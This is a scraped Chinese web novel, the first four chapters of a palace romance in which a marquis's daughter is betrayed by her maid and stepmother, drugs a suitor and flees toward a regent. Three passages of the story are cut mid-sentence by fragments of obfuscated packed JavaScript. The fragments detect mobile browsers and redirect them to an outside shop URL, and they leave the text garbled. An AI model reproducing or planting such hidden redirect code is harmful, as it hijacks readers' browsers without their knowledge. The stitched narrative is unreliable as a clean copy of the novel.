《始乱终弃摄政王之后》 1. 第 1 章 沈挽棠又做怪梦了。 月华如水，陌生的华贵殿宇内暖香氤氲。 夜明珠散着柔和光晕，奢丽床帐低垂，帐角悬着的金铃不时荡出几声清音。 汗珠自莹白颈间滑落，没入凌乱的雪白里衣。一只骨节分明而有力的大手牢牢扣住她的纤细脖颈，让人无力挣脱。 背对着身后男子，沈挽棠看不见他的面容，只听得低哑近乎餍足的叹息，携着灼人的气息，熨烫在她敏感的肌肤上。 窗外，重瓣西府海棠在夜色中开得恣意浓烈，如云似锦。 花枝随风颤动，柔弱无依，花瓣无声栖于冰冷金砖之上。 画面一转，眼前赫然是万丈悬崖。 她身下的马车疾驰于险峻山缘，身后有冷箭破空射来。退无可退之际，她纵身一跃，耳边只剩下呼啸山风。 沈挽棠猛地睁开双眼，胸口剧烈起伏，额角沁满细密冷汗。 侍女霜降闻声急急赶来，掀开帐子：“姑娘这是怎么了？” 天色泛白，料峭春寒叩打着窗户。 沈挽棠坐起身：“如今……是几时了？” 嗓音里还残留着未散的喑哑。 “回姑娘，已经卯时了。”霜降取来软帕为她拭汗，“姑娘可是又梦魇了？我这就再去熬一碗安神汤。姑娘这些日子总是睡不安稳，明日我再去请城西的方大夫过来瞧瞧。” 几个月以来，沈挽棠时常夜间惊梦，服了方大夫开的安神汤药，症状也不见好转。 可方大夫已是京城中顶尖的郎中，若连他都束手无策，只能去寻些民间偏方。 沈挽棠目光仍有些失神。 霜降悄步退出去煎药。 沈挽棠的确又做梦了，且是接二连三的怪梦。 那些梦境诡谲却异常清晰，她曾循着梦境求证。 譬如梦中预见秦老将军病故，不久之后，竟真的目睹满城缟素、百姓哀声动地之景。 又譬如江州突发水患，灾情尚未传至京中，竟也在不久前初现风声，与梦中征兆丝毫不差。 沈挽棠长睫轻颤。 如此匪夷所思之事，真实的在她眼前呈现。那今夜这场荒唐梦境，难道日后也要成真？ 梦中男子面容模糊，气息却迫人，她不愿深想其中暧昧。 更令人心悸的是随后的追杀。 沈挽棠长睫浓密，在眼底投下一片浅淡的阴影。 . 永嘉十三年，京城。 宁远侯府的西院为女眷居所，柳夫人住在中央的静心苑。 室内佛像静默，檀香袅袅。 外间的红木桌案上，尽是京中最时新的绸缎与首饰。 乔映月捻起一匹布料在身前比划：“冯嬷嬷，您说选妃宴那日，我穿哪一身更合适？” “咱们三姑娘天生丽质，穿什么都出挑。您瞧瞧这件胭脂红的云锦，眼下京中最时兴的纹样，老奴觉着极衬您。” 冯嬷嬷是柳兰舒的奶娘。 “嬷嬷就爱打趣我。”乔映月面染绯霞，又转向佛龛前跪拜的背影，“娘，您也别只顾着诵经了，快来帮月儿拿个主意嘛。” 柳夫人手里转动的佛珠停下，缓缓睁眼。 京中人人皆知柳夫人信佛，有一副菩萨心肠。 柳夫人为宁远侯的续弦，对继女视如己出。 外人提及侯府大房的两位姑娘，总要比较一番。 三姑娘乔映月是是柳夫人与病死的前夫所出，端庄聪慧。而二姑娘沈挽棠却因生母早逝、顽劣不堪，自幼被送往青州外祖父家，直至两年前才被接回。 相较之下，这位继女着实让人费心。 柳夫人扶着冯嬷嬷的手起身，视线落在那匹云锦上，柔声道：“这胭脂红与你很相衬，便定这件吧。” 乔映月眼眸弯弯，满脸憧憬：“那就定这件！我若穿上它，在宫宴上翩翩起舞，必能引得皇子注目。就算不行，以我这般姿容，裴世子那儿总该有几分把握吧？” 然而，脑海中倏然闪过一张明艳得刺目的脸庞。 乔映月蹙起眉头：“可是娘，这些我挑剩的是不是就要给沈挽棠了？” 柳夫人不语。 乔映月凑近几步：“娘，能不能别让沈挽棠去选妃宴啊？万一她去了，就凭她那性子，惹出什么风波可怎么好？好不好嘛，娘亲。” 若沈挽棠出现在宴上，恐怕就没她什么事了。 乔映月的面容扭曲起来。 可如今执掌后院是她娘亲，沈挽棠见了自己，还不是得低声下气？ 乔映月抱上柳夫人的手臂：“娘，我一见她那副样子就心烦，就连长公主府的赏赐也都要分她一份，她也配？” 柳夫人脸色顿变：“月儿！” 冯嬷嬷连忙制止，神色紧张地四周张望：“三姑娘呦，隔墙有耳，这话可大声说不得！天家的恩典，赏下来是福气，私下议论可是大不敬啊！” 乔映月扭过脸，冷哼一声。 柳夫人望着女儿，额角突突的疼。 恰在此时，被传唤而来的沈挽棠走到门外。一番话听得分明，脚步却没停。 “挽棠见过母亲。” 柳夫人循着声音看去，女子温顺行礼。可看清那张抬起的脸，不由得一怔。 眼前人穿着一席水绿裙衫，明眸含秋水，明艳不可方物。脊背挺得很直，仪态从容，透出股不易折的清韧。 这张脸，确实不宜出现在皇子选妃宴上。 柳夫人敛起心绪，上前亲切地挽住她的手：“棠儿，这是长公主身边刘嬷嬷刚送来的东西，你瞧瞧有什么喜欢的，尽管挑。” 沈挽棠垂眸：“多谢母亲厚爱。” 柳夫人端详她的脸，蹙眉道：“棠儿近日可是休息不安？这脸色怎地有些苍白？”说话间，目光扫向身旁侍女。 侍女惊蛰跪地：“回夫人，是奴婢照顾不周，还请夫人责罚！” 沈挽棠不动声色地将人挡在身后。 “母亲勿怪，是女儿昨夜贪看闲书，误了时辰，与旁人无关，劳母亲忧心了。” “既然你这么说，母亲便放心了。”柳夫人笑容宽厚，转而吩咐，“去，让膳房好好给二姑娘炖些滋补的汤品来。” 她又看向沈挽棠：“不过棠儿啊，你如今已及笄，言行举止更需谨慎。往后你就安心在府中学学规矩、绣绣花，无事就不要出门了。” “回头我让冯嬷嬷每日去你院里坐坐，你有什么不懂的，或是缺了什么，尽管同嬷嬷说，也让她好好教导你一番……母亲这都是为你好，你可明白？” 沈挽棠沉静颔首。 一旁的乔映月瞧着眼前这番动静，眼底掠过得意。 待人走后，她放下茶盏，待看清桌上独独少了的羊脂玉佩，不由得出声嗤笑。 “果然是在青州乡下待久了，眼界浅薄。满案金饰，她倒只会挑那等光秃秃不起眼的物件。” 冯嬷嬷指挥下人将东西收拣入库。 柳夫人缓声问：“定国公府那位小世子贺云峥，近日可有什么新鲜动静？” 冯嬷嬷心领神会：“夫人放心，还同从前一样。那位爷仍是风月楼的常客，听闻近日又为一位歌伎赎了身，闹得满城风雨。国公夫人为此头疼不已，正急着为他说亲，想寻个家世相当的拴住他的心呢。” 听见贺云峥这个名字，乔映月弯起唇角。 看来，娘亲还是在意她的。 沈挽棠同惊蛰刚回到别院，霜降便急急迎了上来，目光在两人身上迅速一转。 “姑娘可回来了。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744529|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 待沈挽棠径直回屋歇息，霜降立刻将惊蛰拉到廊下僻静处，压低声音：“夫人今日可有为难姑娘？” 惊蛰：“不曾。” “不曾？”霜降眼神狐疑，“那你早上来传话时就神色慌张，此刻眼神也这般躲闪。惊蛰，你我是自小一同跟着姑娘的，你骗不过我。说，是不是有什么事瞒着我，瞒着姑娘？” “休要胡说！”惊蛰咬住下唇，“我能有什么事。姑娘累了，我得去伺候了。” 说罢，她有些仓促地挣脱霜降的手。 霜降挠头：“难不成……是夫人私下为难你了？” 屋内，惊蛰放下茶水，目光却不经意瞥向里间。 透过半卷的珠帘，她看见沈挽棠取出只半旧的红桃木匣，锁扣处是枚黄铜暗锁。 只见姑娘指尖在锁钮依次按过，咔哒一声，匣盖便应声弹开。 惊蛰心头猛地一跳，目光被牢牢粘住。 不久后，宁远侯府的马车辘辘驶出府门。 霜降得知了宫中赏赐一事，没忍住抱怨：“姑娘，每次长公主府有赏赐来，哪回不是由着三姑娘先挑拣？可这些东西，分明都是因您才有的体面……” 沈挽棠未语，只将指尖轻轻按在她唇上。 霜降噤声，但眼圈忍不住住泛红。 她低头看着怀中玉佩，不由想起早逝的先夫人。若夫人还在，姑娘何至于受这等委屈？ 那些珠宝绫罗，本就该是姑娘一人的，与那乔映月有何相干？ 更可气的是，柳夫人与乔映月心知肚明，这些恩赏，不过是长公主念着先夫人的善心，特意照拂小姐罢了。可到最后，她家小姐到手的竟只有这枚羊脂玉佩。 霜降心口发堵，直到下车眼圈还是红彤彤的。 马车在街角当铺前停下。 霜降抱着匣子入内，谁料里面掌柜的见了玉佩眼前一亮，语气过分热络。 “姑娘好眼力！这羊脂玉玉质温润无瑕，是上好的籽料。不瞒您说，此式样在青州一带正时兴，眼看京城里的风潮也要吹过来了。” 霜降愣愣不知道说什么。 不多时，她便抱着厚厚银票出来了。 刚撩开车帘，看清里面景象，眼底的欣喜又变成惊艳。 她家姑娘已换上了一身月白男装。 眉目如画，气度清冷如玉，活脱脱从画中走出的翩翩佳公子。 霜降心想姑娘聪慧，外面的传言都说姑娘不学无术，实属有眼无珠。 马车再次停下，却非喧闹街市。 霜降挑起车帘瞧去，看清了沉香斋三个字。 门面并不张扬，檐角悬着云纹铜铃。风过时清音悠远，似有禅意。 室内竹帘半卷，空气中浮动着若有若无的沉香。 柜台后的白掌柜闻声抬头，脸上浮现熟稔笑意：“顾公子又来了，今日可是又带了佳作？” “白掌柜谬赞，不过寻常习作。”沈挽棠用了惯常的化名，声音清朗从容。她将手中一只细长锦盒置于案上，“掌柜，我今日将旧作也一并带来，不知可否一同掌眼，折换银钱？” 白掌柜并未立刻开价，反而微微欠身：“公子稍待，您的画作价值非同寻常，此物还需请示东家定夺。” 东家？ 沈挽棠眼底掠过一丝几不可察的讶异。 沉香斋实为京城诸多贵胄私寻墨宝之地。她以往需银时，便以匿名作画或雕刻小件在此换钱。 她还不曾听闻其上还有主人。 “无妨，有劳白掌柜。” 白掌柜绕过柜台，推开一扇云纹木门。后厅别有洞天，视野突然开阔。 然而，沈挽棠的目光在掠过那道颀长身影时，骤然凝固。 里面那人，竟像极了梦中的男子。 2. 第 2 章 门扇轻合，隔绝了沈挽棠的思绪。 水榭内，萧珩正与周玉徽对弈。 周玉徽指尖用力掐进鬓角，无论怎么推演，眼前棋局都已无力回天。 白掌柜快步走来。 周玉徽眼珠一转，趁对面人抬眼的刹那，迅速偷换了枚棋子，随后掩唇轻咳两声。 白掌柜恭声：“东家。” 萧珩狭长的凤眸淡淡掠来。 那目光并不如何凌厉，却让白掌柜的头垂得更低，视线所及，唯有对方的蟒袍衣角。 “东家，今日那位顾公子来了，此次携了两三幅画作，想一并兑银，瞧着似是急用。您看，是否应下？” 白掌柜年事虽高，记性却极佳，东家素来青睐这位顾公子的笔墨。 萧珩的视线落在画轴上，白掌柜双手呈上。 画轴徐徐展开，笔意纵横奔放。 对面周玉徽伸长脖子，却被一记冷眼扫过，只得悻悻缩回头，小声嘀咕：“小气，瞧一眼又能少块肉……” 周玉徽越发好奇，究竟是何方神圣，画作竟得眼前人的法眼？府上书房那些珍藏画迹，怕也是出自此人之手。 如玉指节轻叩桌案，萧珩淡道：“照单全收。” “小的明白。”白掌柜心中顿时有了底，恭敬退下。 看来东家体恤这位公子，只怕还要再加钱。 萧珩目光重新落回棋盘，随即又缓缓抬起，落在周玉徽的脸上。 目光沉静却极具分量，周玉徽被看得脊背发毛，忍不住搓搓手臂：“皇叔，您别这般瞧着侄儿，怪瘆得慌。” 每回认怂，周玉徽必喊皇叔。 眼前男子，正是当朝皇帝的胞弟，被尊称摄政王的萧珩。周玉徽是长公主独子，自小跟随萧珩驻守边关，如今是名精通医理的校尉。 “再有下次，一百军棍。” 听着冰冷嗓音，周玉徽顿时蔫了：“侄儿再也不敢了！”他连忙转移话锋，“不过话说回来，皇叔既如此欣赏这位公子，何不直接引荐？” “云麓书院近来不是正广纳贤才吗？门外那位既然家中经济拮据，或许正是一段机缘。” 萧珩并未接话：“雍城那边，查得如何？” 周玉徽立刻敛去嬉笑：“追到一行人的踪迹，应是临安王残部。自上次大战溃败，临安王便音讯全无，眼下这些动作，多半是他旧日麾下所为。” “盯紧。” 周玉徽又偷偷觑了一眼对面人。 他生就一副极佳的骨相，眉骨轮廓深邃。那双凤眸深若寒潭，眼尾微扬。通身气度清冷孤绝，宛若悬于九天的孤月。 可他，亦是旁人口中青面獠牙、能止小儿夜啼的摄政王。 周玉徽暗自慨叹，有这尊杀神坐镇，雍城宵小，焉敢不宁？ . 沈挽棠接过厚厚银票，动作微顿。她抬眸：“白掌柜，这数目似乎有误，您多给了。” 白掌柜笑容和煦：“顾公子放心收下，并非差错，是东家特意吩咐，说您的墨宝，值这个价钱。” 沈挽棠望向那扇紧闭的门扉，轻声试探：“在下可否当面谢过东家？” 白掌柜面露难色。 沈挽棠不再多言，正欲转身离开，却听到门厅后的脚步声。 走来的男子与白掌柜低语，那目光似有若无地在她周身流转。 这人的声音，与梦中那迫人的低沉，截然不同。 沈挽棠颔首离开。 周玉徽望着那清瘦背影，默默将人的形貌记下。 . 海棠苑的花，悄无声息地开满了枝头，清雅素白很是好看。 这院子位置本就偏僻，自柳夫人掌权西院后越发冷清，只剩沈挽棠与两名贴身侍女。 柳夫人派来的眼线，隐在暗处。可连盯数日，回报只有闭门不出四字。 连绵春雨终于放晴，沈挽棠临案作画。 轩窗半启，春光斜入，恰好映亮她专注的侧颜。偶尔传来些许杂音，她浑然未觉。 几片海棠花瓣飘入，轻盈落在笔尖。 沈挽棠今日只以一支素净的青玉簪绾发，周身再无珠翠点缀，却依旧明艳不可方物。 霜降坐在廊下，双手托腮，不觉看出了神。 “惊蛰你说，若姑娘去选妃宴，定然是拔得头筹的那个，对不对？” 身后半晌没有回应，霜降疑惑扭头，却见惊蛰眼神发直，盯着虚空处。 “你果然又在出神！你近日太反常了，魂不守舍的，莫不是病了？” 说着，便伸手去探惊蛰的额温。 “啪！” 惊蛰像是被火烫到，猛地拍开伸来的手。 霜降手背瞬间红了一片，惊蛰也愣了，偏过头生硬道：“我没事。” 霜降揉着发红的手背，撇撇嘴：“我不与你计较，你没生病最好，真是怪得很！” 惊蛰深深看了窗前身影，敷衍一句：“或许是吧。” “没劲。”霜降小声嘀咕，可思绪飘远眼睛又亮起来，“如今宫里大皇子和三皇子皆已有了正妃，适龄的便只剩下四皇子、七皇子了。” 她家姑娘可做不得侧妃。 宫里喜事沉寂许久，她忽然又想到什么，神秘兮兮问：“哎，我倒想起那位大败临安王的摄政王。惊蛰，你可知晓那位摄政王？” 惊蛰瞥她一眼：“摄政王萧珩，权倾朝野，谁人不知。” 话音刚落，她心下猛地一缩。 竟如此直呼了那位王爷的名讳，随即狠狠瞪了霜降一眼，怪她引自己说了不该说的话。 萧珩今年不过二十有三，早已名震天下。 八岁通晓经史，与太傅论策。 十岁随军远行，赶赴沙场历练。 十六岁以奇兵突袭，彻底扭转两国僵持局势。 弱冠之年，早已是战功赫赫，铁蹄所至，逼得敌国不得不献女求和，暂息干戈。 这般显赫战绩，从前简直难以想象。 他与当今圣上乃一母同胞，感情甚笃。当年朝中并非没有权臣疑他功高震主，上书暗讽，结果反被皇上寻由严惩，更力排众议册其为摄政王，总揽军政。 只是，没什么人真正见过萧珩的模样，世人皆传他凶神恶煞。 “说来摄政王也到了选妃的年纪，不知会选怎样的女子，那排场定然比皇子选妃还大上许多。” “摄政王杀得敌人闻风丧胆，陛下都对他多有倚重，选妃更是要选一位能与他并肩的女子。” 霜降仍在絮絮说着，惊蛰却心神不宁，目光不受控制飘向屋内。 她越发不安，升起股无名火来：“议论天家贵胄，你是真不怕祸从口出，掉了脑袋吗？” 霜降也恼了：“你冲我发什么神经？不就咱们两个私下说说体己话，怎么就扯上掉脑袋了？” 廊下的争执并未传进书房。 沈挽棠似乎也未留意到窗外的风波，只轻轻搁笔。 画卷上，青州山川墨迹未干。 就快了，她心想。 次日大早，惊蛰神色紧张：“姑娘，夫人请您立刻过去一趟。” 霜降上前拉住沈挽棠的衣袖，忧心问：“姑娘，夫人这么急着找您，会是什么事？” 脑中闪过无数不好的念头。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744530|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 侯府上下，但凡人能想到的由头，都曾被用来磋磨过她家姑娘。明明姑娘才是正经的侯府嫡女，却活得如此小心翼翼，处处受制。 她看着姑娘沉静的侧脸，心头一阵酸楚。 沈挽棠反手轻拍她的手背，笑意浅淡：“莫怕，去了便知。” 霜降望着姑娘的背影，心下暗忖，过几日定要去昭仁寺再多求几道平安符。 静心苑，室内檀香沉静缭绕。 “棠儿，你生母过世已满三年了。这些年来，让你受委屈了。” “母亲待我亲厚，不曾委屈。倒是母亲操持侯府上下，才最是辛苦。” “是啊，”柳夫人轻叹，指间佛珠缓缓转动，“女子这一生，能得夫君真心疼惜，便不算辛苦。说到底，觅得一个称心如意的郎君，才是此生最大的福气。” 沈挽棠安静抬眸。 “你如今也已及笄，是时候该考虑终身大事了。”柳夫人声音温婉，可那眼底却不见半分暖意。 沈挽棠面上带着恰到好处的浅笑，并不接话。 柳夫人脸上掠过一丝不快，旋即压下。 “棠儿可知定国公府？那般的高门显第，即便是月儿嫁过去，我都觉得算是高攀。如今恰逢国公府的世子正在议亲，我瞧着你们年纪相当，品貌相合，你觉得如何？” 沈挽棠依旧沉默。 柳夫人眯起眼睛：“我知你自小就有主意，心思也重。但过去的事都已过去，我既然做了你的母亲，自然要为你细细打算。国公府这门亲事，千妥万妥，于你是再合适不过的归宿。” 她语速渐缓，倏然轻笑：“你此刻心里，是不是在想你偷偷攒下的那些银钱？” 她紧紧审视着沈挽棠每一丝细微的表情。 果然，沈挽棠眼中闪过讶异。 柳夫人唇角勾起：“把东西拿上来吧。” 冯嬷嬷应声，示意下人捧上的，正是那只沈挽棠的红桃木匣。而跟在其后，低着头怯生生走进来的，竟是她的贴身侍女惊蛰。 柳夫人好整以暇地看着，心中得意万分。 瞧瞧，她精心挑选的心腹，不过是许了点好处，便轻易地反口咬向主人，真是蠢得可怜。 柳夫人心中快意极了，语带嘲弄：“惊蛰，怎么，这会儿知道怕了，不敢抬头看你家姑娘了？” 惊蛰起初胆怯，但在柳夫人目光的逼视下，终究借了势，鼓起勇气抬眼望向沈挽棠。 然而，她并未预想中看到崩溃或震怒，只在那双沉静如水的眸子里，捕捉到一丝转瞬即逝，快得让她以为是错觉的……讥诮。 “你这侍女，倒是个伶俐识时务的。”柳夫人抚着匣子，慢条斯理，“我竟不知，你私下攒下了这许多银钱。只可惜，这些银钱来路不明，传出去于你名声有碍。便权当是你的嫁妆，母亲先替你保管着。待你风风光光进了国公府，日子自然会好起来。” 沈挽棠闻言，垂下的睫羽轻颤，似是难过至极。 柳夫人从鼻子里哼出一声轻笑。 在这侯府后宅，这丫头翻不出她的手掌心。 养育多年的侍女骤然背叛，积蓄一朝成空，任谁都会心碎神伤吧。 “母亲，我先行离开了。” 沈挽棠转身要走，柳夫人忽然扬声叫住她：“站住。” “明日巳时，你就去清风楼，见一见定国公府的贺世子。”她补充道，“放心，母亲都已为你打点妥当，届时会请京中最好的妆娘为你梳妆，定让你风风光光地去见世子。” 明日？ 沈挽棠稍稍蹙眉。 这个日子，与她梦中预示的不一样了。 3. 第 3 章 永嘉十三年，四月初九。 初春的寒意最为刁钻，带着无孔不入的阴冷。 马车内，惊蛰袖中双手绞在一起，目光数次掠过对面闭目养神的人。 夫人既已拿捏住了把柄，为何姑娘还偏偏指名要她跟随？ 昨日情形浮现。 沈挽棠声音听不出异样：“母亲思虑周详，女儿听从安排。只是明日外出，还望母亲允准惊蛰相伴，有她在身旁，女儿心里能踏实些。” 柳夫人连连点头：“自然依你。” 凭沈挽棠的容色，定让贺世子倾心。国公府送来的好处，乃至兄长在官场上的打点，便都有了着落。 柳夫人脸上笑意更浓，可惊蛰却越发不安。她很清楚，沈挽棠绝非表面这般柔弱可欺。 多年过去，她还清晰记得那件事。也正是那件事，侯爷一怒之下将沈挽棠送往青州顾家。 当时的沈挽棠也是这样，甚至带着浅淡笑意，却用一股可怕的、冷静的蛮力，将三姑娘的头颅死死按进冷得彻骨的水池里。 任凭三姑娘如何拼命挣扎，嘶声哭喊：“沈挽棠！你疯了！你竟敢如此对我！” 沈挽棠无比平静吐出三个字。 “你该死。” 三姑娘的发丝全湿，狼狈地贴在脸上，浑身冻得发抖，只剩下断断续续的虚弱声线。 “阿姐，你饶过我吧。我下次再也不敢了……” “阿姐，求你。” 沈挽棠那双平日里清澈明亮的眸子，冷得骇人。她手下力道不减，再次将人按进冰水。 跑来的惊蛰吓得魂飞魄散，僵在原地不知所措。 若非仆妇们拼死上前拉开，三姑娘怕早已没了。 温婉皮囊下困着的猛兽，偶尔窥见一斑，便令人胆寒。这样的人，怎会轻易饶过背叛？ 惊蛰猛地回神，指甲已深深掐入掌心，传来阵阵刺痛。 但后悔念头仅是一瞬。 她不愿在日渐冷清的别院中蹉跎岁月，如今沈挽棠自身难保，又能许她什么？而夫人给的，才是真金白银，是能攥在手里、实实在在的好处与前程。 想到这里，片刻的动摇烟消云散。 “惊蛰，”沈挽棠依旧合着眼，“你娘的病，近日如何了？” “劳姑娘挂心，我娘她身子好转多了。多亏了姑娘先前请来的方大夫，药方很管用。如今我阿兄在家里照顾阿娘。” “有你兄长照顾便好。” 过往记忆不受控制涌上脑海，是姑娘在寒冬往家里送的冬衣，是她生病时姑娘亲自端来的汤药，还有人前的维护与照拂…… 惊蛰攥紧衣袖：“姑娘，我……” 沈挽棠睁眼：“到了。” 话音刚落，车夫沈四朝里道：“二姑娘，清风楼到了。” . 二楼雅间，贺云峥左拥右抱，与两名歌姬调笑宴饮。门外传来动静，他皱眉抬头，可等看清来人，杯中酒盏刹那落地。 贺云峥张大嘴巴：“眼前这位就是宁远侯府的沈二姑娘？” 沈挽棠：“见过贺世子。” 贺云峥：“美人、不不，沈二姑娘快请上坐！” 原本是宁远侯夫人有求于他们，加上娘亲在耳边多次絮叨，他听得耳朵都要起茧了，才答应见一面。 眼下见着了人，顿觉先前的推拒可笑。莫说让他应下亲事，就是要天上星辰，他也设法摘取。 贺云峥亲自斟酒，动作殷勤。 沈挽棠眸光轻转：“我方才在楼下，倒是听闻了桩关于世子的趣事。可似乎我来得不巧，扰了贺世子的雅兴。” “不不不！”贺云峥对身旁人斥道，“没点眼力！没见我与二姑娘有要事相谈？还不快滚出去！” 至于惊蛰，见沈挽棠没什么表示，贺云峥也将人赶了出去。 雅间内蓦地一静。 沈挽棠落座，执起酒杯却不饮，道：“方才所闻的趣事，便是贺世子为博窈娘一笑，豪掷千金，连夺三日歌舞头筹的雅举了。” 贺云峥惊讶于她消息灵通。 他当即举起三指：“若沈二姑娘不喜，我贺云峥，从今往后绝不再踏足清风楼半步！” 沈挽棠低低笑出声来。 贺云峥看得痴了，杯中酒洒了也浑然不觉。 门外的惊蛰来回踱步，目光死死盯着紧闭的门。 柳夫人让她盯紧姑娘，若有闪失，她担待不起。况且姑娘心思灵巧，万一人忽然不见了可如何？ 惊蛰要推门而入。 国公府随从拦下：“做什么？休要打扰我家世子爷的好事！” “可是……” “没什么可是！难道还怕你家姑娘跑了不成？” 惊蛰后退几步。 可想到柳夫人的狠辣手段，她终究一咬牙，趁机推门冲了进去。 “姑娘！” 室内风平浪静。 贺云峥正一杯接一杯畅饮，满面红光。 沈挽棠懒懒抬眼，眸底浮出若有似乎无的讥诮。 惊蛰的心沉下去。 紧接着，是贺云峥一顿怒骂：“蠢婢！谁让你进来扫小爷的兴，没见爷正喝得痛快吗！” 沈挽棠也歪头：“惊蛰，怎么了？” “没什么，奴婢只是担心姑娘。” “担心我啊……”沈挽棠微微拖长语调。 贺云峥性子阴晴不定，这会儿骤然扬手将酒杯狠狠掷出！酒杯擦着惊蛰的耳际飞过，带起的凌厉劲风在她耳廓上划出一道清晰血痕，火辣辣地疼。 “还不快滚！”他厉声喝道，眼神阴鸷。 沈挽棠将手中酒杯递给贺云峥：“我们继续。” 惊蛰吓得魂飞魄散，捂住流血的耳朵，脸色煞白。 没人再理会受伤的惊蛰，她狼狈地退出门外。 耳边传来奚落与嗤笑。 “早说了别进去触霉头，偏不听！这还算世子爷心情好，只破了相，若真发起疯来，你小命难保啊！” 惊蛰用手触碰耳垂冒出的血珠，眼底泛起恨意，快步奔下楼吩咐沈四：“速回府禀报夫人，姑娘似有变故，请夫人早做安排。” 若是夫人计划落空，那先前许诺的种种好处都没了。 雅间内，贺云峥突然瘫倒在案。 室内一道暗门悄然滑开，青衣男子快步走出：“姑娘放心，这蒙汗药足以让他沉睡一整日。” “有劳迟叔。” “姑娘万勿言谢。”迟敬神色郑重，“当年若非先夫人于风雪中施以援手，老奴早已冻毙街头，此恩没齿难忘。” 他递过准备好的包袱：“您要的东西今早已备齐，男装按您的尺寸重新改制过，通关路引与足额银票俱在此处。” “此去青州路途遥远，姑娘务必万事小心。” 迟敬是清风楼管事，多年来感念先夫人恩德。 沈挽棠迅速转入隔壁雅间，再出来俨然一位清俊少年。 “我们走。” 迟敬回头瞥了眼昏睡的贺云峥，抬脚狠狠踢在其膝弯处。此等劣迹斑斑的纨绔，竟敢肖想他家姑娘！ 到了暗道出口，沈挽棠猛地拉住迟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16744531|189821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敬，示意他噤声。 只见柳承宗腰间挂着制式腰牌，带着一队官差浩浩荡荡赶来，堵住了去路。 迟敬面色一沉：“竟是京兆府的人！姑娘，这事情麻烦了些。” 柳兰舒的兄长柳承宗在京兆府任职，也正是凭着这层关系，她才得以嫁入宁远侯府。 沈挽棠：“无妨，我们先退回暗处。在清风楼的地界，柳承宗还没胆子掀起太大的风浪。” 与此同时，雅间内。 惊蛰发现沈挽棠不见踪影，高声叫嚷起来：“我早说了！姑娘她定然有诈，你们偏偏不信！” 见到柳承宗，她如同抓住了救命稻草，扑跪过去：“舅老爷！二姑娘给贺世子下了药，她要跑！” 柳承宗眉头紧皱，一脚将碍事的惊蛰踹开，探手试了试贺云峥的鼻息。 人只是酒气混合着蒙汗药，昏睡不醒，并无大碍。 可他转身对下属厉声喝道：“竟有人胆敢谋害国公府世子，给本官搜，京兆府奉命缉拿凶犯！” 原本风雅的清风楼，顿时陷入混乱。 沈挽棠迅速扫视走廊，见角落一间厢房门前清净，闪身而入。 房中陈设雅致，隐隐透着一股清冷威仪。 她屏息凝神，背贴着门扉。 外面，杂乱的脚步声和嚣张的呼喝声，逐渐清晰可闻。 她深知柳承宗手段凶残，在京中权势极大，以往忤逆他的人，从未有过好下场。 衣袖下的匕首悄然滑入掌心，冰凉触感让沈挽棠心神稍定。 柳承宗更近了，斜里蓦地横空掠来一道玄色身影，不等众人看清，便一脚狠狠踹在人的胸口！ 柳承宗整个人倒飞出去，喉头咳出血沫。他不可置信地抬头，却对上一双毫无温度的眼睛。 那人负手而立，甚至未按刀柄，腰间挂着块玄铁令牌。 “没长眼的东西，这间房也是你能搜的？” 声音不高，却冷的彻骨。 柳承宗胸口剧痛，待看清来人那枚玄铁令牌时，更是魂飞魄散。 他连滚带爬地跪好，声音因恐惧而变调：“是、是下官鲁莽，有眼无珠，冲撞了大人！下官这就走，这就走！” 他几乎是手脚并用地爬起来，带着手下落荒而逃。 等走远了，一名不明所以的手下才小声嘀咕：“头儿，那人还没抓到，怎么……” “闭嘴！”柳承宗惊魂未定，反手便是一记清脆的耳光，抽在手下脸上，低吼道，“你没看见那是影卫司的令牌吗？刚才那位，恐怕就是影卫司指挥使卫大人！再多留一刻，你我都要死无全尸！” 卫陵，传闻中摄政王最锋利的刀，其名号让京中诸多官员寝食难安。 柳承宗后背早被冷汗浸透。 卫指挥使怎会出现在此处，难不成那位也已经回京了？ 想到那位杀神，柳承宗脸色更白了几分。 “舅老爷！”一直在外焦急等候的惊蛰见他们出来，连忙凑上前想要询问情况。 柳承宗正无处发泄的惊惧与羞辱，顿时化为滔天怒火，尽数倾泻在她身上。 他用尽全力狠狠扇去一记耳光。 啪的一声脆响，惊蛰被巨大的力道扇得踉跄倒地，半张脸顷刻间高高肿起，浮现出清晰的五指红痕。 她嘴角破裂，眼前阵阵发黑。 整个人无力伏在地上，连哭都不敢出声。 沈挽棠察觉到门外静下来，松了口气，推门正欲迈出，迎面撞上道沉静身影。 抬头瞬间，跌入一双深不见底的眸子里。 4. 第 4 章 他生着一双极好看的凤眸，眼皮很薄，天然带出冷冽的审视。 沈挽棠身量比寻常女子高挑，扮作男装不显违和，可在此人面前，需仰头方能迎上他的视线。 她下意识地后退半步。 